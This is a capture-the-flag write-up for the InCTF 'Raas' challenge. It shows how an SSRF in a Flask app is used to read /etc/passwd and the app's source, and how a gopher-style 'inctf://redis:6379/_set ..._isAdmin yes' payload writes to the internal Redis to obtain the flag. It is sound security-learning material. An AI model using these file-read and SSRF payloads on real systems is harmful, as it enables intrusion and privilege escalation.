# Raas | InCTF
We can see at first a textbox
It just gives `SOME ISSUE OCCURED` when I enter some random things
Let's try a url :I tried `http://www.google.com` and it worked
So we are working with a `SSRF` here
It tried `http://localhost:6969`, .... but they didnt seem to work
I changed it and tried `file:///etc/passwd`
So we can read files
In the docker file we see that there is a file named `app.py` lets read it with `file://./app.py` :
```pyfrom flask import Flask, request,render_template,request,make_responseimport redisimport timeimport osfrom utils.random import Upper_Lower_stringfrom main import Requests_On_Steroidsapp = Flask(__name__)
# Make a connection of the queue and redisr = redis.Redis(host='redis', port=6379)#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})#print(r.get("Bahamas"))@app.route("/",methods=['GET','POST'])def index():    if request.method == 'POST':        url = str(request.form.get('url'))        resp = Requests_On_Steroids(url)        return resp    else:           resp = make_response(render_template('index.html'))        if not request.cookies.get('userID'):            user=Upper_Lower_string(32)            r.mset({str(user+"_isAdmin"):"false"})            resp.set_cookie('userID', user)        else:            user=request.cookies.get('userID')            flag=r.get(str(user+"_isAdmin"))            if flag == b"yes":                resp.set_cookie('flag',str(os.environ['FLAG']))            else:                resp.set_cookie('flag', "NAAAN")        return resp
if __name__ == "__main__":    app.run('0.0.0.0')```
We can see that the app is using redis to check if the `cookie+"_isAdmin"` corresponds to `yes`.
I found 2 other interesting files `file://./main.py` `file://./modules/Gophers.py`
main.py```pyimport requests, re, io, socketfrom urllib.parse import urlparse, unquote_plusimport osfrom modules.Gophers import GopherAdapter from modules.files import LocalFileAdapter 
def Requests_On_Steroids(url):    try:        s = requests.Session()        s.mount("inctf:", GopherAdapter())        s.mount('file://', LocalFileAdapter())        resp = s.get(url)        assert resp.status_code == 200        return(resp.text)    except:        return "SOME ISSUE OCCURED" 
#resp = s.get("butts://127.0.0.1:6379/_get dees")```
Gophers.py```pyimport requests, re, io, socketfrom urllib.parse import urlparse, unquote_plusimport os
__ITEM_TYPE_IN_PATH = re.compile(r"(/[0-9+gITdhs])(/.+)")
deitemize = lambda x: __ITEM_TYPE_IN_PATH.sub(lambda m: m.groups()[1], x)itemized = lambda x: __ITEM_TYPE_IN_PATH.match(x) is not None
class HoldsThings:    """It's like a namedtuple, but you can't index by number and it's actually mutable."""
    def __init__(self, **kwargs):        self.__dict__.update(kwargs)
def parse_url(url):    res = urlparse(url)    ret = HoldsThings(**res._asdict())    if res.query:        ret.path = res.path + "?" + res.query    del ret.query    if not ret.path:        ret.path = "/"    if "\t" in ret.path:        ret.path, ret.query = ret.path.split("\t", 1)    if itemized(ret.path):        ret.path = deitemize(ret.path)    return ret
class GopherAdapter(requests.adapters.BaseAdapter):    def _netloc_to_tuple(self, netloc):        host, sep, port = netloc.rpartition(":")        if sep:              port = int(port)        else:            host = port            port = 1010        return (host, port)
    def _connect_and_read(self, parsed):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect(self._netloc_to_tuple(parsed.netloc))        msg = parsed.path.replace('/_','')        if hasattr(parsed, "query"):            msg += "\t" + parsed.query        msg += "\r\n"        print(bytes(msg, 'utf-8'))        s.sendall(bytes(msg, 'utf-8'))        f = s.makefile("rb")        res = b""        data = f.readline()        print(data)        f.close()        return res
    def _build_response(self, request, res):        resp = requests.Response()        resp.status_code = 400 if (res.startswith(b"3")                                   or b"\r\n3" in res) else 200        resp.headers = requests.structures.CaseInsensitiveDict({})        resp.encoding = "utf-8"        resp.raw = io.BytesIO(res)        resp.url = request.url        resp.req = request        resp.connection = self        return resp
    def send(self, request, **kwargs):        assert request.method == "GET", f"You can't {request.method.lower!r} a Gopher resource!"        parsed = parse_url(unquote_plus(request.url))        res = self._connect_and_read(parsed)        return self._build_response(request, res)```
We can communicaton with redis via Gopher with the attribute `inctf:`
We see that we can send the command to redis if we type it after `/_`
The host is : `redis`And the port is : `6379`as shown in app.py
The payload format will be :`inctf://redis:6379/_[redis_command]`
So I used this payload to set the cookie :
`inctf://redis:6379/_set QsNqtzrgjfvjkbIhAMWusCxYzRkKCkJR_isAdmin yes`
I url-encoded it and submited it and then accessed the webapp with the same cookie : 
And I got the flag~ `inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}`